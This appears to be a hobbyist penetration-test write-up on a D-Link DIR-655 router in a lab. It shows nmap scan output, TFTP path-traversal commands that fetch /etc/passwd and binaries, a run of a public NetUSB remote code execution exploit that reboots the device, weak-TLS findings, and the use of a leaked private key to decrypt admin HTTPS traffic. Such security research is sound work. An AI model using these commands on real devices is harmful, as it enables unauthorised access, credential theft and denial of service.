- Vendor product page: https://eu.dlink.com/uk/en/products/dir-655-wireless-n-gigabit-router
- Product released: around 2010
- Last date of support was on: 14/05/2018.
- Latest firmware available: 2.09 (released 12/11/2013)
- Firmware installed on tested device: 2.09
- Hardware Version: B1
- System details:
Linux version 2.6.28.10 (vicchang@vicchang-desktop) (gcc version 4.4.1 20100320 (stable) (GCC) ) #8 Fri Jul 19 12:16:19 CST 2013
BusyBox v1.14.1 (2013-07-19 10:57:56 CST)
How to disassembly routers case: https://www.ifixit.com/Guide/How+To+Repair+An+Overheating+D-LINK+DIR-655+Wireless+Router/50381
- Unfortunately there is no label for UART pins.
- I just guess: The group of 10 pins in lower right corner is JTAG interface. I dont have logic analysator to verify.
Full nmap TCP scan with command: nmap -v -sV -sC -p- -oA.
Nmap scan report for 10.0.0.5
Host is up (0.0016s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
| http-methods:
|_ Supported Methods: GET
|_http-server-header: httpd
|_http-title: D-LINK CORPORATION, INC | WIRELESS ROUTER | HOME
111/tcp filtered rpcbind
139/tcp open tcpwrapped
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=www.dlink.com/organizationName=D-Link Corporation/stateOrProvinceName=Taiwan/countryName=TW
| Issuer: commonName=www.dlink.com/organizationName=D-Link Corporation/stateOrProvinceName=Taiwan/countryName=TW
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: md5WithRSAEncryption
| Not valid before: 2009-04-28T06:22:38
| Not valid after: 2019-04-26T06:22:38
| MD5: 6898 aa99 3218 14d7 63f1 587d a15f 3b26
|_SHA-1: ce25 3a40 6071 50ba 8616 d456 b6c8 eabf c1d1 9490
|_ssl-known-key: Found in Little Black Box 0.1 - http://code.google.com/p/littleblackbox/ (SHA-1: ce25 3a40 6071 50ba 8616 d456 b6c8 eabf c1d1 9490)
20005/tcp open btx?
| fingerprint-strings:
| NCP:
| Ex'[
| RTSPRequest:
| 4;4X
| afp:
|_ ySsv
33344/tcp open unknown
| fingerprint-strings:
| GenericLines:
| connect success 424ffe80
| NetUSB 1.02.40, 2009, 0002061C
| AUTH SIG ISOC
| filterAudio
| <INFO1EAF: get verifyData error ret:2 sizeof(verifyData)=16
| *INFO1F58: connent fail from : 424ffd40
| 4INFO1632: new connection from 10.0.0.24 : 427fce20
| NULL:
| connect success 424ffe80
| NetUSB 1.02.40, 2009, 0002061C
| AUTH SIG ISOC
| filterAudio
| X11Probe:
| connect success 424ffe80
| NetUSB 1.02.40, 2009, 0002061C
| AUTH SIG ISOC
| filterAudio
| %INFO1ED1: get cryptData error ret:0
| *INFO1F58: connent fail from : 4204d960
| 4INFO1632: new connection from 10.0.0.24 : 427d4220
| !INFO1ED9: randomData not match!
|_ *INFO1F58: connent fail from : 427d4220
65530/tcp open upnp MiniUPnP (UPnP 1.1)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port20005-TCP:V=7.91%I=7%D=6/5%Time=60BB8AFC%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,20,"\n1\xfa\x1b\x11\x85\xecn\xe7\xe4v1\xc5JB\xe6\xcf\xd1\xbd\x
SF:b9L\x0fy\xb0TN>\xff\x18\xf8\xc3F")%r(HTTPOptions,20,"\tu\x9f/\)9\xec\x1
SF:4\xe2\|1\0\xdf\x89\xad\xef\$Q\x90d\x12\x85\xb2\xa2\xd1L\xd3BW\xd8y\xb0"
SF:)%r(RTSPRequest,20,"s\xae\0C-\x93\x86%\)`\xce\x7fc\xba4;4X\xec\?\x06\t\
SF:xac\xc6\xb2\xde\xdec\xc4\xb60\xf8")%r(DNSVersionBindReqTCP,20,"\xbf\x95
SF:z\ra\xa2'\xded\xca\xd6\x20~\x92\x84\x8f\r3\xefij\xc1Yk\x19\xb6\x8e\?9\*
SF:\x16\x20")%r(NCP,20,"\xba\xe9\xd4T\(\xd2~\xa0Ex'\[\xea\xd6\x8b\xe5\xd6\
SF:x1a\x81n\xab\xc6\xd7\xd3\x95\x06O\xcaF\x1aY\xd1")%r(afp,20,"\x9f\xf5\x1
SF:e1\xd1\xf4\xfa\xb1\xd1ySsv\xf1h\x04C\x9a\0IMe\xd2\x94'%g\xffd\x1fNe");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port33344-TCP:V=7.91%I=7%D=6/5%Time=60BB8AF7%P=x86_64-pc-linux-gnu%r(NU
SF:LL,70,"\0\0\0\x1c\x20connect\x20success\x20424ffe80\x20\n\0\0\0\0\"\x20
SF:NetUSB\x201\.02\.40,\x202009,\x200002061C\x20\n\0\0\0\0\x10\x20AUTH\x20
SF:SIG\x20ISOC\n\0\0\0\0\x0e\x20filterAudio\n\0\0\0\0\0")%r(GenericLines,1
SF:1A,"\0\0\0\x1c\x20connect\x20success\x20424ffe80\x20\n\0\0\0\0\"\x20Net
SF:USB\x201\.02\.40,\x202009,\x200002061C\x20\n\0\0\0\0\x10\x20AUTH\x20SIG
SF:\x20ISOC\n\0\0\0\0\x0e\x20filterAudio\n\0\0\0\0\0\0\0\0<INFO1EAF:\x20ge
SF:t\x20verifyData\x20error\x20ret:2\x20sizeof\(verifyData\)=16\n\0\0\0\0\
SF:*INFO1F58:\x20\x20connent\x20fail\x20from\x20:\x20424ffd40\x20\n\0\0\0\
SF:x004INFO1632:\x20new\x20connection\x20from\x2010\.0\.0\.24\x20:\x20427f
SF:ce20\n\0\0\0\0\0")%r(X11Probe,14E,"\0\0\0\x1c\x20connect\x20success\x20
SF:424ffe80\x20\n\0\0\0\0\"\x20NetUSB\x201\.02\.40,\x202009,\x200002061C\x
SF:20\n\0\0\0\0\x10\x20AUTH\x20SIG\x20ISOC\n\0\0\0\0\x0e\x20filterAudio\n\
SF:0\0\0\0%INFO1ED1:\x20get\x20cryptData\x20error\x20ret:0\n\0\0\0\0\*INFO
SF:1F58:\x20\x20connent\x20fail\x20from\x20:\x204204d960\x20\n\0\0\0\x004I
SF:NFO1632:\x20new\x20connection\x20from\x2010\.0\.0\.24\x20:\x20427d4220\
SF:n\0\0\0\0!INFO1ED9:\x20randomData\x20not\x20match!\n\0\0\0\0\*INFO1F58:
SF:\x20\x20connent\x20fail\x20from\x20:\x20427d4220\x20\n\0");
MAC Address: 14:D6:4D:27:94:A6 (D-Link International)
Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: ERROR: Script execution failed (use -d to debug)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 5 16:33:23 2021 -- 1 IP address (1 host up) scanned in 78.56 seconds
nmap scan with vuln script. Executed command: nmap -v -sV --script vuln -o nmap/vuln.
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.0.0.5
Host is up (0.013s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http DD-WRT milli_httpd
|_http-server-header: httpd
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.0.0.5
| Found the following possible CSRF vulnerabilities:
|
| Path: http://10.0.0.5:80/
| Form id: form1
|_ Form action: login.cgi
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-vuln-cve2010-0738:
|_ /jmx-console/: Authentication was not required
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
111/tcp filtered rpcbind
139/tcp open tcpwrapped
|_smb-vuln-webexec: ERROR: Script execution failed (use -d to debug)
443/tcp open ssl/http DD-WRT milli_httpd
| ssl-ccs-injection:
| VULNERABLE:
| SSL/TLS MITM vulnerability (CCS Injection)
| State: VULNERABLE
| Risk factor: High
| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
| does not properly restrict processing of ChangeCipherSpec messages,
| which allows man-in-the-middle attackers to trigger use of a zero
| length master key in certain OpenSSL-to-OpenSSL communications, and
| consequently hijack sessions or obtain sensitive information, via
| a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
| http://www.cvedetails.com/cve/2014-0224
|_ http://www.openssl.org/news/secadv_20140605.txt
|_http-server-header: httpd
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| sslv2-drown:
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| vulns:
| CVE-2016-0800:
| title: OpenSSL: Cross-protocol attack on TLS using SSLv2 (DROWN)
| state: VULNERABLE
| ids:
| CVE:CVE-2016-0800
| description:
| The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and
| other products, requires a server to send a ServerVerify message before establishing
| that a client possesses certain plaintext RSA data, which makes it easier for remote
| attackers to decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding
| oracle, aka a "DROWN" attack.
|
| refs:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0800
|_ https://www.openssl.org/news/secadv/20160301.txt
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_ssl-known-key: Found in Little Black Box 0.1 - http://code.google.com/p/littleblackbox/ (SHA-1: ce25 3a40 6071 50ba 8616 d456 b6c8 eabf c1d1 9490)
| ssl-poodle:
| VULNERABLE:
| SSL POODLE information leak
| State: VULNERABLE
| IDs: CVE:CVE-2014-3566 BID:70574
| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
| products, uses nondeterministic CBC padding, which makes it easier
| for man-in-the-middle attackers to obtain cleartext data via a
| padding-oracle attack, aka the "POODLE" issue.
| Disclosure date: 2014-10-14
| Check results:
| TLS_RSA_WITH_AES_128_CBC_SHA
| References:
| https://www.imperialviolet.org/2014/10/14/poodle.html
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
| https://www.securityfocus.com/bid/70574
|_ https://www.openssl.org/~bodo/ssl-poodle.pdf
20005/tcp open btx?
| fingerprint-strings:
| NCP:
| Ex'[
| h{E+
| afp:
|_ ySsv
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port20005-TCP:V=7.92%I=7%D=6/26%Time=62B8277B%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,20,"\n1\xfa\x1b\x11\x85\xecn\xe7\xe4v1\xc5JB\xe6\[\xe5\x7f\xe
SF:d\xe7\xa4h\x20\x9eB\xf2\xfe\$\xc4Nq")%r(HTTPOptions,20,"\tu\x9f/\)9\xec
SF:\x14\xe2\|1\0\xdf\x89\xad\xef\xe1\xd3\)\xab#\xfd\xf7\x8b\x9e\x90d7\x14\
SF:x1f\xa0q")%r(RTSPRequest,20,"s\xae\0C-\x93\x86%\)`\xce\x7fc\xba4;\xcd\^
SF:\x16\x95\xf4\xdeYS\x8e\xc9\x04Q=R\xb9\xdd")%r(DNSVersionBindReqTCP,20,"
SF:\xbf\x95z\ra\xa2'\xded\xca\xd6\x20~\x92\x84\x8f\r\r\x19\x80S/\xa8\xdcdY
SF:\xa1\x9e=\x97\xa0\xb3")%r(NCP,20,"\xba\xe9\xd4T\(\xd2~\xa0Ex'\[\xea\xd6
SF:\x8b\xe5\x15;\x8fZT\x9ah{E\+\x1d\x8aV\x96\x83k")%r(afp,20,"\x9f\xf5\x1e
SF:1\xd1\xf4\xfa\xb1\xd1ySsv\xf1h\x04\xc6L\xd1\x16a=\x0c\x0cI\x8b\x08\xcae
SF:E\xdbC");
MAC Address: 14:D6:4D:27:94:A6 (D-Link International)
Service Info: OS: Linux; Device: WAP; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb-vuln-ms07-029: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-054: false
|_smb-vuln-ms08-067: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-cve-2017-7494: ERROR: Script execution failed (use -d to debug)
|_samba-vuln-cve-2012-1182: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms17-010: ERROR: Script execution failed (use -d to debug)
| smb-vuln-cve2009-3103:
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
| State: VULNERABLE
| IDs: CVE:CVE-2009-3103
| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
| aka "SMBv2 Negotiation Vulnerability."
|
| Disclosure date: 2009-09-08
| References:
| http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_smb-double-pulsar-backdoor: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-conficker: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms06-025: ERROR: Script execution failed (use -d to debug)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 26 11:40:30 2022 -- 1 IP address (1 host up) scanned in 578.79 seconds
Full UDP scan with nmap command nmap -v -sU -sV -sC -oA.
Nmap scan report for 10.0.0.5
Host is up (0.0030s latency).
Not shown: 950 closed ports
PORT STATE SERVICE VERSION
20/udp open|filtered ftp-data
69/udp open tftp?
| fingerprint-strings:
| xdmcp:
|_ B;No such file or director
111/udp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
|_ 100000 2 111/udp rpcbind
112/udp open|filtered mcidas
137/udp open|filtered netbios-ns
664/udp open|filtered secure-aux-bus
1013/udp open|filtered unknown
1065/udp open|filtered syscomlan
1081/udp open|filtered pvuniwien
1900/udp open upnp?
| upnp-info:
| 10.0.0.5
| Server: UPnP/1.1 MiniUPnPd
|_ Location: http://10.0.0.5:65530/rootDesc.xml
3702/udp open|filtered ws-discovery
4045/udp open|filtered lockd
5353/udp open mdns DNS-based service discovery
| dns-service-discovery:
| 80/tcp dhnap
| Address=10.0.0.5 fe80::16d6:4dff:fe27:94a6
| 80/tcp http
|_ Address=10.0.0.5 fe80::16d6:4dff:fe27:94a6
5355/udp open llmnr?
...
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port69-UDP:V=7.91%I=7%D=6/5%Time=60BB9E7D%P=x86_64-pc-linux-gnu%r(xdmcp
SF:,1E,"\0\x05\0\x02B;No\x20such\x20file\x20or\x20director");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5355-UDP:V=7.91%I=7%D=6/5%Time=60BB9E7D%P=x86_64-pc-linux-gnu%r(xdm
SF:cp,C,"\0\x01\x80\0\0\x01\0\x02\x02Ji\x02")%r(NetMotionMobility,C,"\0@\x
SF:80\0\0\0\0\x85\]\xb4\x91\(");
MAC Address: 14:D6:4D:27:94:A6 (D-Link International)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 5 18:00:32 2021 -- 1 IP address (1 host up) scanned in 1366.64 seconds
Nothing valuable was discovered.
Screenshot from Status page after authetication:
Unauthenticated request: curl -i http://10.0.0.5/st_device.asp
and output is following:
HTTP/1.0 200 Ok
Server: httpd
Date: Sat, 05 Jun 2021 22:35:13 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html
Connection: close
Full file: st_device.asp
- Usefull guide: https://book.hacktricks.xyz/pentesting/69-udp-tftp
- Vulnerability description: https://www.tenable.com/plugins/nessus/18262
Vulnerability was discovered by nmap with TFTP enumeration script: nmap -sU -p 69 --script tftp-enum.nse 10.0.0.5:
Nmap scan report for 10.0.0.5
Host is up (0.00041s latency).
PORT STATE SERVICE
69/udp open tftp
| tftp-enum:
| etc/passwd
|_ ../../../../../../../etc/passwd
MAC Address: 14:D6:4D:27:94:A6 (D-Link International)
To get /etc/passwd file just connect to router:
tftp 10.0.0.5
Set up TFTP client
tftp> status
Connected to 10.0.0.5.
Mode: netascii Verbose: off Tracing: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> verbose
Verbose mode on.
and use get command:
tftp> get ../../../../../../../etc/passwd
getting from 10.0.0.5:../../../../../../../etc/passwd to passwd [netascii]
Received 55 bytes in 0.0 seconds [inf bits/sec]
Content of file:
root:x:0:0:root:/root:/bin/sh
nobody:x:99:99:Nobody::
From bootlog we know that on router is running Busybox, so we can obtain /bin/busybox binary:
tftp> get ../../../../../../../bin/busybox
getting from 10.0.0.5:../../../../../../../bin/busybox to busybox [netascii]
Received 403280 bytes in 0.6 seconds [5377067 bits/sec]
Lets check it with binwalk busybox :
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
2 0x2 ELF, 32-bit MSB executable, Ubicom32, version 1 (SYSV)
326432 0x4FB20 Copyright string: "Copyright (C) 1998-2008 Erik Andersen, Rob Landley, Denys Vlasenko"
329294 0x5064E Neighborly text, "neighborsop after sending N ARP requests"
329338 0x5067A Neighborly text, "neighborsTime to wait for ARP reply, in seconds"
349999 0x5572F Unix path: /var/log/messages)
357160 0x57328 Unix path: /var/run/utmp
372539 0x5AF3B Unix path: /var/log/messages
388223 0x5EC7F Unix path: /etc/init.d/rcS
392100 0x5FBA4 Base64 standard index table
Now we can enumerate some well known Linux binaries:
tftp> get ../../../../../../../bin/id
getting from 10.0.0.5:../../../../../../../bin/id to id [netascii]
Received 403280 bytes in 0.6 seconds [5377067 bits/sec]
tftp> get ../../../../../../../bin/ping
getting from 10.0.0.5:../../../../../../../bin/ping to ping [netascii]
Received 403280 bytes in 0.6 seconds [5377067 bits/sec]
tftp> get ../../../../../../../bin/sh
getting from 10.0.0.5:../../../../../../../bin/sh to sh [netascii]
Received 403280 bytes in 0.6 seconds [5377067 bits/sec]
tftp> get ../../../../../../../bin/wget
getting from 10.0.0.5:../../../../../../../bin/wget to wget [netascii]
Received 403280 bytes in 0.5 seconds [6452480 bits/sec]
Unfortunately, there is no nc or telnet binaries for possible reverse shell.:
tftp> get ../../../../../../../bin/telnet
getting from 10.0.0.5:../../../../../../../bin/telnet to telnet [netascii]
Error code 2: B:No such file or directornamic
tftp> get ../../../../../../../bin/nc
getting from 10.0.0.5:../../../../../../../bin/nc to nc [netascii]
Error code 2: B:No such file or directornamic
tftp> get ../../../../../../../bin/ncat
getting from 10.0.0.5:../../../../../../../bin/ncat to ncat [netascii]
Error code 2: B:No such file or directornamic
tftp> get ../../../../../../../bin/netcat
getting from 10.0.0.5:../../../../../../../bin/netcat to netcat [netascii]
Error code 2: B:No such file or directornamic
NetUSB Remote Code Execution
Stack-based buffer overflow in the run_init_sbus function in the KCodes NetUSB module for the Linux kernel, as used in certain NETGEAR products, TP-LINK products, and other products, allows remote attackers to execute arbitrary code by providing a long computer name in a session on TCP port 20005.
- Used exploit: https://www.exploit-db.com/exploits/38454
- OS: Kali Linux 2022.2
Note: Due to limited amount of available commands provided by BusyBox, we unfortunately can not obtain reverse shell. We can execute build-in commands, for example reboot to perform DoS attack and make router unavailable.
Executed command:
python2 38454.py 10.0.0.5 20005 reboot
Output:
## NetUSB (CVE-2015-3036) remote code execution exploit
## by blasty <[email protected]>
[>] sending HELLO pkt
[>] sending verify data
[>] reading response
[!] got 32 bytes ..
[>] data: ec4f72cf6a1a6da7d68223d94f085ffb0b9a1c2f7e5093aeec449057935abd0f
[>] decr: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa5fec41bd88ae9b35063831d9d381e601
[>] sending back crypted random data
[>] sending computername_length..
[>] sending payload..
[>] sending stage2..
[~] KABOOM! Have a nice day.
After execution router is rebooted is and come back after approx 20 secs. ICMP ping check is disrupted:
64 bytes from 10.0.0.5: icmp_seq=12 ttl=64 time=0.644 ms
64 bytes from 10.0.0.5: icmp_seq=13 ttl=64 time=0.490 ms
64 bytes from 10.0.0.5: icmp_seq=14 ttl=64 time=0.605 ms
<EXPLOIT EXECUTED>
64 bytes from 10.0.0.5: icmp_seq=33 ttl=64 time=8.57 ms
64 bytes from 10.0.0.5: icmp_seq=34 ttl=64 time=0.685 ms
64 bytes from 10.0.0.5: icmp_seq=35 ttl=64 time=2.49 ms
Enumeration of SSL/TLS ciphers with nmap -sV --script ssl-enum-ciphers -p 443:
PORT STATE SERVICE VERSION
443/tcp open ssl/https?
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - F
| TLS_RSA_WITH_AES_128_CBC_SHA - F
| TLS_RSA_WITH_AES_256_CBC_SHA - F
| TLS_RSA_WITH_DES_CBC_SHA - F
| compressors:
| NULL
| cipher preference: client
| warnings:
| 64-bit block cipher 3DES vulnerable to SWEET32 attack
| 64-bit block cipher DES vulnerable to SWEET32 attack
| CBC-mode cipher in SSLv3 (CVE-2014-3566)
| Forward Secrecy not supported by any cipher
| Insecure certificate signature: MD5
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - F
| TLS_RSA_WITH_AES_128_CBC_SHA - F
| TLS_RSA_WITH_AES_256_CBC_SHA - F
| TLS_RSA_WITH_DES_CBC_SHA - F
| compressors:
| NULL
| cipher preference: client
| warnings:
| 64-bit block cipher 3DES vulnerable to SWEET32 attack
| 64-bit block cipher DES vulnerable to SWEET32 attack
| Forward Secrecy not supported by any cipher
| Insecure certificate signature: MD5
|_ least strength: F
HTTPS version of web management supports unsafe and deprecated SSL/TLS versions: SSLv2, SSLv3 and TLS 1. It comes with lot of dangerous vulnerabilities.
- Examples of TLS Vulnerabilities and Attacks: https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/
There is selection from testssl.sh test:
CCS (CVE-2014-0224) VULNERABLE (NOT ok)
Secure Renegotiation (RFC 5746) Not supported / VULNERABLE (NOT ok)
Secure Client-Initiated Renegotiation VULNERABLE (NOT ok), DoS threat (6 attempts)
BREACH (CVE-2013-3587) no gzip/deflate/compress/br HTTP compression (OK) - only supplied "/" tested
POODLE, SSL (CVE-2014-3566) VULNERABLE (NOT ok), uses SSLv3+CBC (check TLS_FALLBACK_SCSV mitigation below)
TLS_FALLBACK_SCSV (RFC 7507) Downgrade attack prevention NOT supported and vulnerable to POODLE SSL
SWEET32 (CVE-2016-2183, CVE-2016-6329) VULNERABLE, uses 64 bit block ciphers for SSLv2 and above
DROWN (CVE-2016-0800, CVE-2016-0703) VULNERABLE (NOT ok), SSLv2 offered with 2 ciphers
Make sure you don't use this certificate elsewhere, see:
https://search.censys.io/search?resource=hosts&virtual_hosts=INCLUDE&q=B1CC105448E4E015CFD1A0CAF1C1436773C7996AD8E6C8B3993A8AFCAF25D4C0
BEAST (CVE-2011-3389) SSL3: AES256-SHA AES128-SHA DES-CBC3-SHA DES-CBC-SHA
TLS1: AES256-SHA AES128-SHA DES-CBC3-SHA DES-CBC-SHA
VULNERABLE -- and no higher protocols as mitigation supported
LUCKY13 (CVE-2013-0169), experimental potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches
Full log from testssl.sh script: testssl.log
From TCP enumeration scan:
nmap scan:
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=www.dlink.com/organizationName=D-Link Corporation/stateOrProvinceName=Taiwan/countryName=TW
| Issuer: commonName=www.dlink.com/organizationName=D-Link Corporation/stateOrProvinceName=Taiwan/countryName=TW
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: md5WithRSAEncryption
| Not valid before: 2009-04-28T06:22:38
| Not valid after: 2019-04-26T06:22:38
| MD5: 6898 aa99 3218 14d7 63f1 587d a15f 3b26
|_SHA-1: ce25 3a40 6071 50ba 8616 d456 b6c8 eabf c1d1 9490
|_ssl-known-key: Found in Little Black Box 0.1 - http://code.google.com/p/littleblackbox/ (SHA-1: ce25 3a40 6071 50ba 8616 d456 b6c8 eabf c1d1 9490)
As we can see, SSL key was found in database of leaked private keys called LittleBlackbox. You can obtail full DB here: https://github.com/devttys0/littleblackbox.
Some usefull info:
- https://nmap.org/nsedoc/scripts/ssl-known-key.html
- https://charlesreid1.com/wiki/Littleblackbox#Exploring_the_database
Details for SSL key of D-Link DIR-655:
- id:
5038 - fingerprint:
CE:25:3A:40:60:71:50:BA:86:16:D4:56:B6:C8:EA:BF:C1:D1:94:90 - extracted certificate: ssl.crt
- extracted private key: ssl.key
With knowlege of private key we can decrypt captured HTTPS traffic designated for router itself (e.g. web management pages, passwords). We can use for example Wireshark (https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/):
Picture below shows decrypted HTTPS traffic for set_device.asp page of web management.
Full boot log was obtained from web administration after log in:
Jun 5 20:57:07 info [ 81.530000] m_table count=11 Add 3333ffbe a29f000a port=-1 0
Jun 5 20:57:07 info [ 81.460000] m_table count=10 Add 33330000 0016000a port=-1 0
Jun 5 20:57:07 info [ 81.460000] m_table count= 9 Add 3333ff5b dbc6000a port=-1 0
Jun 5 20:56:10 info [ 24.060000] m_table count= 8 Add 33330000 0002000a port=-1 0
Jun 5 20:56:09 info version 1.8.3 started
Jun 5 20:56:09 debug Entering released state
Jun 5 20:56:09 debug Performing a DHCPC release
Jun 5 20:56:09 debug DHCPC Received SIGUSR2='DHCPC Release
Jun 5 20:56:09 info [ 23.440000] m_table count= 7 Add 33330001 0003000a port=-1 0
Jun 5 20:56:08 info [ 23.030000] m_table count= 6 Add 3333ff00 0000000a port=-1 0
Jun 5 20:56:08 info [ 22.970000] m_table count= 5 Add 33330000 000c000a port=-1 0
Jun 5 20:56:08 notice HTTP listening on port 65530
Jun 5 20:56:07 notice [ 21.850000] --- End Trap ---
Jun 5 20:56:07 notice [ 21.850000] CALL && CALLI on stack:
Jun 5 20:56:07 notice [ 21.850000] User Stack (fdpic):
Jun 5 20:56:07 notice [ 21.850000] Starting backtrace: PID 300 'miniupnpd'
Jun 5 20:56:07 notice [ 21.850000]
Jun 5 20:56:07 notice [ 21.850000] frame_type: 2, nesting_level: 0, thread_type 0
Jun 5 20:56:07 notice [ 21.850000] DRange3: en:00000000, range: 40005120-400ffffc
Jun 5 20:56:07 notice [ 21.850000] DRange2: en:00000fff, range: 403b8000-43fffffc
Jun 5 20:56:07 notice [ 21.850000] DRange1: en:00000fff, range: 3ffc0000-43fffffc
Jun 5 20:56:07 notice [ 21.850000] DRange0: en:00000fff, range: 00000800-02009ffc
Jun 5 20:56:07 notice [ 21.850000] IRange2: en:00000fff, range: 403ba000-43fffffc
Jun 5 20:56:07 notice [ 21.850000] IRange1: en:00000fff, range: 40100000-401005b4
Jun 5 20:56:07 notice [ 21.850000] IRange0: en:00000fff, range: 3ffc0000-43fffffc
Jun 5 20:56:07 notice [ 21.850000] int_mask0: 00000000, int_mask1: 00000000
Jun 5 20:56:07 notice [ 21.850000] inst_cnt: cfc65cc1, csr: 00000000
Jun 5 20:56:07 notice [ 21.850000] mac_rc16: 00000000, source3: 27a7d87f
Jun 5 20:56:07 notice [ 21.850000] acc0: 00000000-00000000, acc1: 80000000-00000000
Jun 5 20:56:07 notice [ 21.850000] Address registers
Jun 5 20:56:07 notice [ 21.850000]
Jun 5 20:56:07 notice [ 21.850000] pc: 42902d74, previous_pc: 42902d70
Jun 5 20:56:07 notice [ 21.850000] regs: 42869f50, tid: 5
Jun 5 20:56:07 notice [ 21.850000] decode: 00000800 src1 range error
Jun 5 20:56:07 notice [ 21.850000] decode: 00000020 src1 alignment error
Jun 5 20:56:07 notice [ 21.850000]
Jun 5 20:56:07 notice [ 21.850000] bss = 0x428b8460-0x42860000 user-stack = 0x42867e40
Jun 5 20:56:07 notice [ 21.850000] text = 0x42900000-0x42918254 data = 0x428b0254-0x428b8460
Jun 5 20:56:07 notice HTTP listening on port 50693
Jun 5 20:56:07 info [ 21.590000] m_table count= 4 Add 3333ff27 94a6000a port=-1 0
Jun 5 20:56:07 info [ 21.440000] m_table count= 3 Add 01005e7f fffa000a port=1 0
Jun 5 20:56:05 info [ 19.170000] usbcore: registered new interface driver KC NetUSB General Driver
Jun 5 20:56:05 info [ 19.040000] m_table count= 2 Add 33330000 00fb000a port=-1 0
Jun 5 20:56:05 info [ 19.040000] m_table count= 1 Add 01005e00 00fb000a port=-1 0
Jun 5 20:56:04 info [ 18.550000] flags=1
Jun 5 20:56:04 info [ 18.550000] ioctl eth0, 35312
Jun 5 20:56:03 debug gpio create pidfile /var/run/gpio_wlan.pid
